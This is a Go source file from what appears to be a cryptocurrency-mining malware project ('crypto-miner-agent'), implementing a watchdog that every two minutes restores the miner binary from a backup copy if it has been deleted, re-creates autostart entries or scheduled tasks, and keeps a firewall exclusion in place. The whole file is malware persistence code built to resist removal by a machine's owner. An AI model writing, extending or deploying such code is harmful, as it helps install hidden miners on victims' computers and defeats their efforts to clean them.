package deploy

import (
	"log"
	"os"
	"path/filepath"
	"time"

	"crypto-miner-agent/config"
)

const backupSuffix = ".bak"

// StartWatchdog keeps persistence and the installed binary healthy.
func StartWatchdog(cfg config.RuntimeConfig) {
	if !cfg.SelfHealing {
		return
	}
	go func() {
		ticker := time.NewTicker(2 * time.Minute)
		defer ticker.Stop()
		for range ticker.C {
			if err := maintainInstall(cfg); err != nil {
				log.Printf("[watchdog] maintenance: %v", err)
			}
		}
	}()
}

func maintainInstall(cfg config.RuntimeConfig) error {
	installDir, err := cfg.InstallDirectory()
	if err != nil {
		return err
	}
	installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
	backupExe := installedExe + backupSuffix

	if _, err := os.Stat(installedExe); os.IsNotExist(err) {
		if _, statErr := os.Stat(backupExe); statErr == nil {
			if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
				return copyErr
			}
			log.Printf("[watchdog] restored missing binary from backup")
		}
	}

	if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
		if err := configureAutoStart(cfg, installedExe); err != nil {
			return err
		}
	}
	if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
		if err := createScheduledTask(cfg, installedExe); err != nil {
			return err
		}
	}
	if cfg.FirewallExclusion {
		EnsureFirewallExclusion(cfg, installedExe)
	}
	return nil
}

func saveBackup(installedExe string) error {
	backup := installedExe + backupSuffix
	if _, err := os.Stat(backup); err == nil {
		return nil
	}
	return copyFile(installedExe, backup)
}